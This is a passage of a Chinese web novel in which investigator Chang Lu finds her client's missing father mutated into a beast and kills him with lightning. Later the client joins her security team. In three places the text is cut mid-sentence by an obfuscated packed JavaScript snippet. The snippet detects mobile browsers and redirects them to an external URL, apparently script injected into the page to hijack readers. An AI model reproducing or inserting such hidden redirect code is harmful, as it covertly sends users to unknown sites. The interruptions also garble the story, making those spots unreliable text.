“有。我去过超市,去过他常去的那间酒吧,还去过他以前工作的港口……都没找到,没人知道他去了哪里。” “哪个酒吧?” “名叫Nest,在深水巷的东南角,24小时开业。” 唱鹿把这些信息都记在心里,又问:“你父亲叫什么?” 暮烟想了想,说:“本名很少有人叫,大家都叫他大川。” 等等! 大川? 刺鲸的那个小头目大川? 唱鹿的脑子飞速旋转起来。 首先。 排除大川已经被联邦逮捕这个可能。 联邦虽然金玉其外败絮其中,但若真的逮捕了谁,按照法律规定都会第一时间通知家属。 没理由亲属找上门,联邦还藏着掖着。 其次。 大川隐瞒了自己的真实职业。 他没有告诉自己的女儿,他是在替刺鲸办事。 原因呢? 最后。 暮烟…… 肩膀被人一拍,唱鹿不得不中断思绪。 暮烟微笑着,眼神里写满倦意,“实在找不到也没关系。这么多天,我已经做好心理准备了……” 她总觉得暮烟的态度有点矛盾。 行为上表现得想找到父亲,可处处又透露出没找到也无所谓的暗示。 交代完所有线索,约定好报酬,暮烟送唱鹿出门。 “有消息请随时回来找我。”暮烟站在门后,巴巴地望着唱鹿,“我等您。” 唱鹿没有点头,也没有摇头,目光落在暮烟的小腿间。 后头有个猫窝。 “你养猫?” “对,但它跑出去了,好几天没回来了。”暮烟像想起什么似的,脸上突然有了光亮,“如果可以话,顺便帮我找找吧,很好认的,是只黑猫,眼睛像红宝石一样。” 唱鹿:“……” 不是吧,又是大川,又是红瞳黑猫…… 真有这么巧吗…… “行,都帮你找。” * 先去超市,后去Nest酒吧。 两处地方跑下来,有了新的收获和线索。 不干港口卸货后,大川的确在超市当过几个周期的保安,后来在Nest酒吧认识了刺鲸的人,加入了刺鲸。 大川还算有能耐,很快就成了组织里的小骨干,手下管着几十号人。 人一旦有钱有权,便容易膨胀。 酒吧老板告诉唱鹿,大川发达后在外头养了个女人,到现在都没敢告诉他女儿。 估计在暮烟的心里,大川还是个至今怀念亡妻的深情好丈夫。 根据酒吧老板给的线索,唱鹿找到在纹身店的女人。 女人正在帮客人纹身,一提起大川,顿时没了好脸色。 “你找大川?” “他(脏话消音)(脏话消音)(脏话消音),我真的是(脏话消音)(脏话消音)(脏话消音)——” 一通连环输出听得唱鹿有点懵。 骂完后,女人才进入正题。 “他最近神神秘秘的,还又租了个房子。问他做什么,他也不说。以前恩爱的时候,每三天就要找我一次,现在大半个周期都见不到一面,连说好的房租也不给我了。我前几天去他的新房子找他,没人给我开门。我原本打算撬锁进去搜刮搜刮,谁知道里头突然响了一声吼叫,(脏话消音),给我吓出了一身冷汗。” 吼叫? 唱鹿察觉到重点,“什么样的吼叫?” “妹子,你上山打过猎吗?一枪打过去,受伤的野兽是怎么叫,我那天听到的就是那样。” 客人一直默默听着,到这里终于忍不住开口了,“你净扯淡,大城市里哪来的野兽!” “呵呵,别不信。”女人冷笑,“刺鲸手眼通天,底下的人平日里可没少干那些见不得人的勾当。那个老东西偷偷搞只异兽养在家里也未可知呢!” “可就使劲吹吧你!” 不管是真是假,唱鹿都必须亲自去瞧瞧。 “大川新租房子在哪儿?” 女人和客人同时回头。 一个在好心劝退,另一个用狐疑的眼神打量她,“你当真要去?” 唱鹿很坚定,“要去。” - 拿到地址后,唱鹿没有贸然前往。 明知有危险还不提前做点准备,指定脑子缺根筋。 她从下水道仓库里取了一把冲锋枪,和两发备用弹夹。 考虑到大川是角鳞族,又带上了一枚微型电磁弹。 这东西对除智械 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806275|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之外的种族杀伤力不大,主要起到麻痹敌人行动的作用。 临出发前,唱鹿特地看了一下接下来几小时的天气预报。 天气变化很关键,会影响实时作战。 预报显示十分钟后有小雨,三十分钟后小雨转大雨。 雨雪是最差的作战天气。 影响视野不说,到目前为止还没有既能防雨防滑,又能防弹的装备。 唱鹿戴上专业伪装面具后,纠结了好一会,决定还是换上雨天专用装备。 不用动武最好。 倘若真要动手,这一身行头只能用来逃跑了。 “ok,出发。” * 这栋楼看起来有点怪。 准确讲,是阴森。 漫天飘扬的小雨中,唱鹿站在一栋多层框架结构的建筑底下。 这里原本是一座大工厂。 工厂倒闭后,接手的人把建筑内部隔成了一个个独立的房子并对外出租。 一座本不应有人住的建筑里住满了人。 支离破碎的外墙上,方形窗户密集地靠在一起,像沙丁鱼罐头似的左右挤兑着。 唱鹿往后绕了一圈,找到女人所说的大川租下的那间房子。 305号。 从左往右数,第五个窗户。 整栋楼最古怪的一扇窗。 其他房子的窗户或是敞开或是关闭,但都保持着原先的模样。 唯有305号的窗户,被人从室内用木板钉死了。 像是怕被人窥视到内景。 唱鹿不得不打消顺着水管爬窗进去的想法。 只能走正门了。 因为是改造房,这栋建筑既没有防盗装置,也没有保安看守。 甚至没有大门。 开放楼道里散落着各种生活垃圾,阶梯上还有碎掉的玻璃酒瓶。 唱鹿爬上二楼时,正好撞见一个醉鬼趴在扶手上对着楼下呕吐。 她很庆幸自己上楼的脚步够快。 谁也不想被呕吐物淋一身。 305号很容易找,楼梯上来往右一拐的第一间就是。 铁门上还挂着统一的门牌。 唱鹿尝试敲了两下门,没有任何回应,更没有人来开门。 看来只能自己进去了。 她原以为要撬锁,工具都掏出来了。 结果手一搭到门把上,吱呀一声,门自己开了。 就这? 不来点虹膜认证,红外线防盗,强拆自毁什么的? 令人失望。 屋内一片漆黑。 唱鹿谨慎地站在门外,眼睛使劲往里瞄,什么都看不清。 她很不喜欢这种环境。 因为几乎所有恐怖片都有这样的桥段—— 主角打开一间神秘又漆黑的屋子,在走进去的那一刹那,发现门后藏着一只鬼。 为了防止类似的跳吓。 唱鹿进门后第一件事是开灯。 看清所处环境后,脑海里仅剩一个词: 混乱。 一件件大小不一、形状不同且都是未拆封状态的货物,以毫无规律的方式堆放在一起。 它们被垒得顶住了天花板,像一根根张牙舞爪的柱子。 这些货物上都有刺鲸标记,是大川中饱私囊的证明。 唱鹿随手翻了几个。 有仿生义眼,有超强喷气装置,还有小孩嗝屁套。 她很嫌弃。 贪污好歹也贪点值钱的。 客厅的东西太多,明显没有多余空间藏人。 唱鹿朝前一个大跨步,翻过挡在客厅与卧室门中间的板子。 卧室里干净很多。 当然,是相较客厅而言。 这里还是乱,有生活痕迹的那种乱。 随处可见穿过的衣服和臭袜子,地上还有踩扁的易拉罐和熄灭的烟头。 进入卧室,她听见一阵非常沉重的呼吸声从浴室传来。 不,不对。 那不是呼吸。 危险! 危险! 危险! 快跑——! 11. 拟造 011. 快! 再快点! 不然,就要死在这里了! 唱鹿一边大口喘气,一边撒开腿往任何能通过的地方跑。 能朝前就朝前,能向上就向上。 根本不敢停下来。 有东西在追她。 是什么? 不知道。 反正不是人。 飙升到极致的肾上腺素完全用在了逃命上,唱鹿没空也不太敢回头看。 怕一转身就没命了。 她只能靠猜。 那东西一路追逐而来,不仅几次撞破墙壁,步伐更能让这整栋大楼随之震动。 说明它体积庞大。 此外,还有明显的拖拽声。 它应该有一条非常粗壮且长有鳞片的尾巴。 合理推测,应该是条变异的鳄鱼。 因为普通鳄鱼没办法搞出这么大动静。 纹身店女人说过,大川可能凭借在刺鲸的关系人脉,偷偷弄了只异兽养在出租房里。 异兽有了,正搁屁股后头狂追她呢。 可大川呢? 她有一个不妥的猜想。 大川该不会是被他养的异兽给吃了吧? 突然,身后响起一声狂啸。 随啸声喷涌而出的气息,猛推了一下唱鹿的后背,她浑身鸡皮疙瘩都冒出来了。 都要没命了,还(脏话消音)关心别人死活呢。 先办法保住自个吧! 唱鹿决定赌一把,往天台上跑。 这栋建筑原先是工厂,联排式框架结构,又高又长,天台的面积必然很大。 她赌天台门没锁。 很幸运,唱鹿赌赢了,真的没锁。 也不幸,外面正在下雨,特大暴雨。 一冲上天台,瓢泼而下的大雨瞬间淹没唱鹿的防水护目镜。 黑夜与乌云融合,厚厚的积云压向地面。 硕大的雨滴夹在风里朝她身上拍,里头又闷着剧烈跑动后出的热汗。 她有种溺水般的窒息感。 很难受。 呼吸不上来,两条腿开始发软。 唱鹿强撑往天台中心又小跑了两步。 好闷,好热,好重。 如果可以变成一条飞鱼就好了。 在这样的倾盆大雨里,划拉划拉游就能游出去。 天台的确很宽阔。 除了一座贴边的瞭望台外,别无他物。 唱鹿一刻不敢松懈,哪怕跑不动了,也要继续往前走。 “嘭!” 通向天台的铁门被撞飞! 该来的还是来了。 唱鹿保持前进的同时掏出手枪,扭头瞄准对方的眼睛。 天边打响雨后的第一声惊雷,她的大脑也轰地炸开一片白。 不是鳄鱼。 不是异兽。 竟然是大川! 唱鹿记得大川是角鳞族。 头上有角,皮肤上有鳞片。 可现在的大川,说不上到底是什么。 它浑身都是厚厚的皮毛,长出了狼一样的长嘴巴和锐利的牙齿。 巨大的手掌和健壮的后肢撑在地上,脑袋顶着两个卷曲朝前的角,覆面的暗蓝色的鳞片蔓延到了那条本不该拥有的尾巴上。 多毛和兽化,弯角和鳞片。 前者属于兽耳族,后者属于角鳞族。 为什么两个不同种族的特性会同时出现在一个人身上?! 怪物沉重地吐息着,齿间喷涌出白色的浊气,涌出恶臭。 突然闯入雨中让它有片刻的茫然,可在重新锁定了目标之后,又立即朝唱鹿扑过来! “噗嗤!” 子弹打入皮毛之中,血雾融进暴雨之中。 唱鹿不断扣动冲锋枪的扳机,任由子弹全部倾泻到怪物的身上。 每一发都打中了,落在它的前爪、脖颈、鼻端和耳朵。 子弹发射的冲击力让它连连后退,却没能阻止它继续进攻。 它好像没有任何痛感。 藏在兽毛之下的竖瞳里只有杀戮。 第三个种族特征出现了。 ——逐日族的竖瞳。 这到底怎么……糟糕,没子弹了! 唱鹿不得不往后撤退,借机掏出拿出备用弹夹换上。 雨越下越大,雷暴也越来越频繁。 她在雨里呆得太久了,护目镜的镜片上满是刮不走的水痕,视野因此变得模糊,特别影响作战。 好在这场大雨对怪物也有影响。 大量的雨水浸透了它的皮毛,这使得它的动作速度减缓了不少。 唱鹿一脚踩在天台的边缘,双手握紧冲锋枪。 天公不作美,耗下去必死无疑。 她必须想办法速战速决。 杀吗? 可以杀。 但子弹打在它身上毫无用处,必须用其他方法…… 怪物渐渐逼近,没时间琢磨了。 唱鹿高喊道:“大川!你是刺鲸的大川,我说得对不对?” 它正预备飞扑而来,却在唱鹿开口后停下了。 很神奇,她竟然从它脸上看到了疑惑的神情。 双方现在只有三米的距离。 一高一低。 彼此对视。 唱鹿保持警觉,继续观察。 她发现它似乎是在思考,并非完全没有自我意识。 难道说,它还有保有人性吗? 如果只是表面异变,那…… 唱鹿想进一步确认,于是说:“是暮烟让我来的。” 一听到这个名字,它发出低低的吼声,浑身的兽毛隐隐炸开,使得整个躯体看起来又庞大了不少。 “暮烟。”唱鹿继续尝试唤醒它,“你的女儿,暮烟。你还记得吗?” 危险! 危险! 危险! 在短暂的尖鸣中,她瞥见怪物举起了右爪。 这一击在数秒内已被放缓了好几倍。 唱鹿也在直觉和预警的双重加持下,以最快地速度往侧边闪,可怪物锐利的前爪还是结实地抓到了她的手臂上。 肯定伤到骨头了。 因为她不仅听到衣服和肌肉撕裂的声音,还有关节错位时的脆响。 PLANA:唤醒良知,宣告失败。 只能进入PLANB了—— 杀了它。 唱鹿朝怪物突突射出两枪,不等子弹命中,以最快地速度绕过它,往瞭望台的方向跑。 她射击时尽量瞄准了眼睛,不求百分百必中,能拖延几秒就好。 情况比预想中更佳。 子弹射中了它的其中一只眼睛,爆发出的雷鸣般的咆哮让整栋楼都在颤动。 唱鹿对此充耳不闻。 刚刚那一爪给她造成的疼痛,正在因为肾上腺素的褪去,变得越来越清晰。 皮开肉绽,骨头断裂。 但她不能停下,咬紧后槽牙,继续以最快的速度攀梯登塔。 怪物正在底下用蛮力撞塔。 瞭望塔是用最普通的钢筋水泥搭建而成的,撑不了多久。 没关系。 她也不需要在这上面呆太久。 自然界中有一种危险的东西。 不可操控,杀伤力极强,对任何种族都能做到一击毙命。 而接下来唱鹿要做的。 就是把这种东西引过来,为她所用。 她站在这里。 这既是一座瞭望塔。 也是一根避雷针! 一道闪电在头顶的云间劈开时,唱鹿掏出微型电磁弹,朝塔底抛去。 雨水。 电磁。 雷暴。 剧烈的白光在建筑的顶部炸开。 暗夜一秒切换成了白昼。 除了最初的咔嚓声之外,唱鹿的耳腔完全麻痹,什么都听不到。 强光刺激得她不得不阖上眼。 可不管是睁着还是闭着,所见之处皆是明亮得不可思议的白。 白光结束之后,世界将每种颜色都往身上套了一遍。 赤红,深黑,墨蓝…… 也不知道过了多久,五感逐渐回复,她也闻到了一股焦味。 哦,是她的左臂。 本来伤口还在流血呢,现在不会了,因为那块的肉已经烤熟了。 她眨眨眼,拳头握紧又松开。 还活着! 居然在1亿至10亿伏特的雷电直击下,成功活下来了! 至于底下的怪物。 嗯,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806276|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经成碳了。 如果没有这身绝缘体装备。 如果没有别人共享一条命。 再加上亿点点的运气。 雷击之下,她也必死无疑。 - “喂,庸医吗?” “你上次说的受赐者……我这里有个烤焦了的,你还要吗?” “几分熟?全熟。” “行,我把坐标发给你。对了,你顺便带点药过来,我受伤了。” “嗯,待会儿见。” 挂断电话,唱鹿继续玩弄手里的魔方。 “魔方”这个称呼,很妙。 它的确是一个四方体,只有瓶盖大小。 它是透明的,但当你往魔方里头凝望,却能看到一些奇妙的光芒。 这块魔方是唱鹿从怪物的尸体里找到的。 它和怪物的血肉嵌在一起,就好像它是怪物的一部分。 那些没死透的神经还紧紧附着在魔方上,以至于唱鹿必须用刀割断那些神经,才能把它从骨血中拽下来。 看到的第一眼,她知道这就是地菩萨口中的魔方。 一块没有任何残缺的魔方。 换言之,这是一份拥有完整力量的赐福。 那么问题来了。 这玩意儿该怎么用呢? 在得到这块魔方之前,唱鹿拥有一块小碎片。 那块小碎片的作用是在持有者遇到危险时发出警告,并对危险出现的前几秒进行降速,属于被动效果。 那这块魔方呢? 也是被动效果? 她看了眼怪物的尸体,莫名有点发怵。 该不会是让她也变成这种怪物吧? 虽说杀伤力挺强的,但架不住丑啊…… 唔。 别吧。 难道眷顾她的不是幸运女神,而是灾厄女神? 唱鹿忍不住胡思乱想。 越琢磨,越觉得梦寐以求的魔方变成了烫手山芋。 她很想对着苍天问一句: 这个破游戏有没有内置《魔方使用指南》啊! 下一秒,提示弹出: [名称:魔方·拟造] [简述:不详] [层级:不详] [隶属:Afkth] 接连两个不详让唱鹿不由得眯起了眼睛。 也让她把所有注意力都集中在了魔方的名称上——拟造。 拟造。 可以简单拆解为:虚拟、构造。 两个词合起来,便是以某种虚拟的基础去构造出另一种事物。 如果要使用[魔方·拟造],她得弄清楚两件事。 一,虚拟的基础是指什么? 二,另一种事物所指的又是什么? 想弄清楚容易。 [魔方·拟造]是从大川身上扒下来的,她可以去调查他生前的经历,从细枝末节找到答案。 难点在于最近联邦正盯着刺鲸。 得等风头过去了再开始着手调查,免得惹祸上身。 唱鹿决定先让这块[魔方·拟造]当仓管。 而且比起它,唱鹿更喜欢那块魔方碎片。 碎片的作用时间虽短,却也救了她好几次。 是真正的救命神器。 如果可以,她想找到其他碎片,凑成一个完整的魔方。 毕竟人得先活着,才会有未来。 * 庸医和她的团队来得很快。 彼时正好雨停,悬浮车直接降落在天台上。 车里下来几个人,麻溜地将尸体打包搬上车,专业又熟练。 唱鹿左臂上的伤对庸医来说也是小问题。 打一针麻醉,先接断骨,再大刀阔斧地把焦肉剜走,然后迅速扎了一支高效愈合剂。 伤员都还没来得及控诉医生不消毒就动刀的暴力医疗手法,新长出的肉芽已经合并到了一起,根本看不出受过伤。 “……” 能打黑医热线投诉吗? 庸医:“不用客气。” 唱鹿:“没想谢你。” 庸医投来一个“我就欣赏你这脾气”的眼神,迎风点了支烟。 深吸一口,没吐烟。 斜睨向她,“那么从今天开始,我们就是正式的合作伙伴了。” 12. 新人 012. 对于这层合作关系。 唱鹿没有认可,也没有否认。 合作需要信任,她对庸医的信任度还达不到百分之百,倒也有七八十了。 更何况,庸医具备一个令唱鹿无法拒绝的理由: 她是受赐者。 十分钟前,当庸医一走下悬浮车,唱鹿可以很明显地感觉到伤口的疼痛在减缓,直到完全消失。 和上次会面时一模一样。 身为医者,拥有能让患者暂时失去痛觉的赐福。 简直是让职业生涯达到了完美。 羡慕之余,唱鹿委实很好奇。 庸医的魔方在哪儿? 她的赐福是主动型,还是被动型? 假如是主动型,她是怎么使用的呢? 主动型魔方的使用方法都一样吗? 还是说,不同的魔方,使用方法也不同呢? 正暗暗思考,忽然听见庸医冒出一句,“你再这么盯着我,会让我以为你爱上我了。” 唱鹿默默拽开她不知何时搭在自己肩膀上的手,“建议不要想太多。” 悬浮车对外敞开侧门。 两人可以很清楚地看见车内的几个人正在用束绳将尸体固定在车厢中央。 “带回去解剖?” “不好说。”庸医抓了抓满头乱糟糟的黑发,“我现在有点别的想法。” “我见过他正常的样子,是那种满大街都能看到的角鳞族。”唱鹿回忆那晚在N278港口仓库里遇见大川的场景,“没有尾巴,也不长毛,体积至少比现在小三倍。” 庸医摸摸下巴,“眼睛呢?” “那时还和你我一样。” 六大种族里,除了逐日族和追月族的瞳仁比较特殊之外,其他四个种族的双瞳基本是一致的。 尸体固定完毕,车内的人向庸医招手。 这是要走了。 “你能从尸体上找到变异的原因吗?” “有兴趣?”庸医反问。 “嗯。” 庸医贴近她的耳朵边,轻轻说了一句,“我猜,应该和你口袋里的那个小东西有关。” 说完抽身离去,留唱鹿独自惊讶。 车门即将关闭,唱鹿急忙朝前迈了一步,“等等,你怎么知道我——” “嘘。”庸医打了个噤声的手势。 两人眼神交汇之际。 唱鹿感觉到周身出现一股引力,隐隐拽着她向庸医所在的方向汇集。 是她们各自持有的魔方。 它们强烈地想要靠近彼此。 - 唱鹿走出悬浮电轨车站时,已经是深夜十一点。 她手里捧着一块凉掉的苹果派,三十分钟前在暮烟家的场景还历历在目……甚至于,有点挥之不去。 寻人无非是三个结局。 找到,没找到,已经死了。 能找到自然欢喜,找不到的还会继续等下去,得知已经身故的哭一场也是理所应当。 不管是哪一种反应,唱鹿都见识过。 可是。 今天这位委托人也实在太能哭了。 唱鹿九点敲开暮烟家的门,把事先编好的故事说出后,暮烟就一直在哭。 哭了整整一个半小时才勉强止住。 唱鹿不太会安慰人,原本还提前上网搜了一些安慰人的话。 也因为暮烟时而高昂时而低沉,又断断续续,且连绵不绝的哭声给磨得忘了个一干二净。 最后只问:“你接下来准备怎么办?” 暮烟没有工作,一切生活开销都是大川负责。 现在大川已经嗝屁了,她也该考虑要怎么一个人生活下去。 “他给我留了点钱。而且,我也找到工作了。”女孩鼻尖通红,说话还有哭腔,“不用担心我。” “那就好。” 委托到此结束,暮烟大方地结完佣金,还送了唱鹿一块苹果派当夜宵。 唱鹿不想拿。 可只要她一表示出拒绝,暮烟又一副要哭的表情,实在没办法才收下了。 虽是好意,唱鹿却吃不了。 她对果糖过敏,稍微一点都会浑身起红疹,严重点还会窒息休克。 唱鹿在垃圾桶旁犹豫许久。 直接丢掉似乎不太好,毕竟是人家辛苦做的。 纠结再三,把苹果派放到了路边睡着的流浪汉手边。 * 闹钟第二遍响起,唱鹿才从床上爬起来。 洗漱换衣,吃早饭,整个过程中脑子还是懵的。 昨晚回到家,她原本打算好好复盘一下昨日发生的事,整理一下信息。 可因为太过疲惫,洗完澡连头发都没吹干,便一头扎进了被窝里。 这便是唱鹿的日常生活。 睁眼就是干,从早忙到晚,闭眼就能睡。 觉醒前如此,觉醒后也没太大变化。 唯一的变化是…… 唱鹿盯着茶几上的魔方和魔方碎片。 发现端倪,她心下一惊。 连忙从耳坠里调出昨晚拍摄的照片。 照片里,茶几上同样摆着魔方和魔方碎片。 但有一点明显不同。 昨晚拍摄的照片是紧挨着的,可现在两个东西的距离至少有五厘米远。 不可能是人为移动的。 因为它们还处在同一直线上,方向没有任何变化。 这是否说明她的感觉是对的? 魔方,可能是活的。 没时间进一步验证,因为再不出门,就要迟到了。 失去摩托的第一个工作日,唱鹿必须坐悬浮电轨车去上班。 平时八点出门,现在必须提前半个小时。 唱鹿离家后一路狂奔,才勉强在迟到前赶至安保队集合点。 其他队员都已经换好工作服,还带上了配枪。 安保队今日的工作是地区巡逻。 “每次雨天就让我们去巡街,凭什么呀!” “不然你还想坐在办公室里喝咖啡呀?这可是联邦饭虫们的‘特权’。” “别抱怨了,现在这个世道,有活干已经很好了。” 同事闲聊时,唱鹿已经换上了工作服,领队也在这时走了进来。 她拍拍手,正聊天的人们将视线集中过去。 唱鹿还在往备用弹夹里装子弹,没有回头。 听见领队说:“之前和大家说过的,今天会有新同事加入。来,和大家打声招呼。” 又过了几秒,一个小心翼翼的声音道:“大家好,我叫暮烟,逐日族。很高兴能加入安保队,请各位多多指教。” 唱鹿后知后觉地转身,和暮烟对上视线。 暮烟穿着安保队的制服,看到唱鹿的那一刻,眼中闪过一丝惊喜,还朝她挥了挥手。 这么巧……? 唱鹿在人群后头朝她微微颔首,下一秒又和领队撞上眼。 领队:认识? 唱鹿:……不熟。 领队挑了下眉头,明显不信。 和往常一样,领队点过人头,简单介绍了今天的工作内容,然后开始分组。 唱鹿毫无悬念地和暮烟分到了一组,领队美其名曰:“帮忙带带新人。” 看着暮烟笨拙地摆弄手枪,半天没能别到腰带的卡扣上。 唱鹿开始感到头疼,“我能拒绝吗?” 领队:“不能。” 领队把她拽到角落里,小声道:“联邦昨晚突袭刺鲸的几个分基地,抓了几十号人,但据说骨干成员一个没逮到。现在上头的巡警都被派去搜捕逃犯了,表面说是让我们进行地区巡逻,实际也是找潜在的嫌疑犯,完事了还得去联邦分局做汇报。你前段时间才和刺鲸有交集,就别掺和进来了。今天就带暮烟到处走走,熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806277|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下安保队的日常工作流程。” 话已至此,确实没有其他更好的选择。 唱鹿站在门口,“不用带枪了。走吧,我带你参观一下。” 暮烟赶忙把枪放下,“哦,好。” 两人一前一后往外走。 “我们刚刚见面的那间是集合室,也是日常更衣室。每天上班前,大家会在集合室换上制服,一般的配枪也可以在集合室拿上。特殊装备,比如防弹衣、电磁炮那些,储存在二楼的特殊装备室里。特殊装备室只有领队有权限进入。” “我们现在所在的一楼,左手边是集合室,右手边是会议室。会议室一般不用,除非有什么紧急状况,或者接到需要用到智能定位的……这个以后遇见你自然就知道了。” 唱鹿走进电梯,按下负一楼,继续道: “二楼不仅有特殊装备室,还有智能数据库。除了领队之外,基本没人上去。” 电梯下行,金属壁面映出两个人的脸。 暮烟一路都默默跟在她身后,不管她说什么都只是点点头,不出声。 怯生生的,感觉下一秒会当场哭出来。 唱鹿在心底叹了口气,“很紧张?” 暮烟低着头,“是……担心做不好。” “安保队没有你想象的那么严格。”唱鹿盯着电梯门忽明忽暗的缝隙,“在外人看起来,安保队好像是联邦警察的附属,可本质上还是民间组织。我们每天接到的工作,不是上头剩下不愿意做的,就是普通群众的委托,大家做事也没有什么标准,不违法就行。” 负一层到了。 唱鹿在门口扫瞄虹膜解锁权限,领着暮烟走进去。 “这一层都是训练场,分为基础训练区和枪械训练区。” “基础训练区你现在就可以随便使用。力量,耐力,负重,还有搏击之类的,都属于基础训练。” “枪械训练区在后头,还得再进行一次虹膜身份认证。因为枪械训练是有配额的,正式队员每个周期配额为二十个小时,没有弹药限制。但你还没转正,每个周期配额只有十个小时,子弹限制两千发。” “还有,未转正的队员只能用手枪进行射击训练。” 说话间,两人来到了机械训练区的大门前。 扫瞄虹膜之前,她问女孩:“会用枪吗?” 暮烟犹豫了一下,小小声说:“父亲教过,不太熟练。” “那你今后要多加练习了。”唱鹿的虹膜认证通过,大门打开,“安保队有时也会接到很危险的工作,难免要和敌方交火。来吧,我再重新教你一遍。” 枪械训练区和基础训练区不同。 基础训练区的所有器械都明晃晃地摆出来,而枪械训练区的军备都藏在地下。 唱鹿走到一处有标记的空位前,方才站定,一方金属台从地面升起。 台面的支架上立着一把手枪。 手枪一被拿起,台面随即投出一个悬浮面板。 面板上记录着此刻的时间,持枪人的姓名、性别、种族、身高体重、实时体温,还有室内的温度、湿度等等五花八门的数据。 唱鹿先教暮烟戴好手部防护装备,再教如何设置训练靶的距离。 最后才是如何持枪瞄准。 “手再抬高一点,对,就是这个姿势。” “瞄准,感觉对了就开枪,不要犹豫。” 话应方落,只听见砰一声。 暮烟扣动扳机,子弹径直飞出去,正中红心。 唱鹿忍不住为她鼓掌,“打得不错,队里很多同事都没你这水平。” 一听这话,暮烟的耳朵都红了,“我、我只是运气好。” “真希望我也有你这样的好运。”唱鹿为她重新设置了一个新的靶子,“来,再试试。” 这一次,暮烟没有急着开枪。 她握着那把漆黑的手枪,讷讷问道:“这些子弹能打死人吗?” 13. 互殴 013. “不能。” 唱鹿绕到暮烟身后,从背面观察她持枪的姿势,“枪械训练场里的弹药都是训练专用型,只能用来打靶子。” 暮烟似乎有点失望,没有回应。 “把这匣子弹打空。” “好。” 后面几次的成绩远没有第一次那么好,有几发还脱靶了。 暮烟的表情看起来还意犹未尽,唱鹿却收走了她手里的枪,“你的耐力太差,无法支撑连续开枪带来的后坐力。” “那要怎么办?” “练。” 两人走进基础训练区,来到拳击测力器前。 唱鹿:“打一拳试试。” 暮烟依言照做,可纵使她用尽全部力气,仪器上的数字也没能多好看。 这姑娘的身体数值完全是白板,以前根本没有经过任何训练。 唱鹿开始怀疑领队招暮烟进来的原因了…… 见她半天不说话,暮烟又变得畏畏缩缩了,“很差吗?” 唱鹿没有回答,而是说:“把拳击手套戴上,我们去打沙包。” 一整个上午,唱鹿都在对暮烟进行体能和力量训练。 午休过后,训练继续,直至四点半才停下回到集合室。 其他队员已经完成今日的任务回来了。 有的在喝水聊天,有的在换衣服。 “暮烟。”领队向她们走来,“今天感觉怎么样?能适应吗?” “可以,就是有点累。”暮烟擦擦额头的汗,还有点喘不匀气。 于是领队看向唱鹿,“别一上来就搞魔鬼训练,把新人吓跑了。” 唱鹿摊手,什么都没说。 领队继续和暮烟闲聊,唱鹿没有加入其中的兴致,先去里间换衣服了。 等她换回常服走出来,已经过了五点,集合室里没剩几个人。 领队倒是还在,手里端着一块小蛋糕,“暮烟给你的。” “给我?” “她本来做了水果挞,听我说你果糖过敏,特地跑出去买了块蛋糕回来。”领队把小蛋糕塞给唱鹿,“我知道你不喜欢带新人,但暮烟这孩子不错,等练成了还能给你当副手。” 唱鹿皱起眉头。 普通队员不需要副手,领队才需要。 这是话里有话啊…… 领队严肃地道:“唱鹿,你知道我一向看重你。等我走了,我现在这个位置,只有你能胜任。” “你要走。” “嗯,上头缺人。”领队双手抱在胸前,“昨晚的突袭行动,联邦这边死了不少人,上头怀疑军队里有内鬼。” 除内鬼这种事,总是牵一发而动全身。 一轮清扫下来,肯定会空出不少职位,这时候就需要有替补。 领队原先就有在联邦任职的亲人。 若联邦需要重新吸纳人才,不论公私,她必然是首选之一。 “别愁眉苦脸的,这是好事。”领队拍拍唱鹿的肩膀。 唱鹿却不敢苟同,“是好事吗?” 一则,她是个有觉醒意识的NPC。 二来,她和刺鲸的确存在一定程度上的往来。 这些都是联邦所不能容忍的事。 更何况。 她手里还有魔方,不止一块。 唱鹿的心情在一瞬间降到冰点,表情都黯淡了不少。 领队见此反倒笑了,“你看你,老是这样,太过悲观。” 她吐槽道:“你明知道我悲观还给我塞一个手无缚鸡之力的副手。” “就是知道你悲观,才需要暮烟那样心细、懂得察言观色的人。”领队反驳,“她可是队里第一个注意到你左耳有问题的人。” 唱鹿:“……又是你说的?” 领队举起双手,“这回真没有!她自己发现的。说是在和你对练时,发现你对左侧而来的攻击反应比较慢。” 唱鹿下意识摸了一下左耳。 她的左耳是小时候伤到的。 唱鹿是在福利院长大的孤儿,打小便是独狼性格不合群,又因为过于独特的发色,没少被其他孩子欺负。 有一天,孤儿院院长带院里的孩子们出去玩,唱鹿被几个坏孩子骗到河边,想把她推下水淹死。 她拼命挣扎,可还是寡不敌众,被一群人压在地上,为首的那个将一块细长的石头刺进了她的左耳里…… 左耳听力永久受损。 除非进行机械义体改造,否则永远不可能恢复。 这事她从未主动和别人提起。 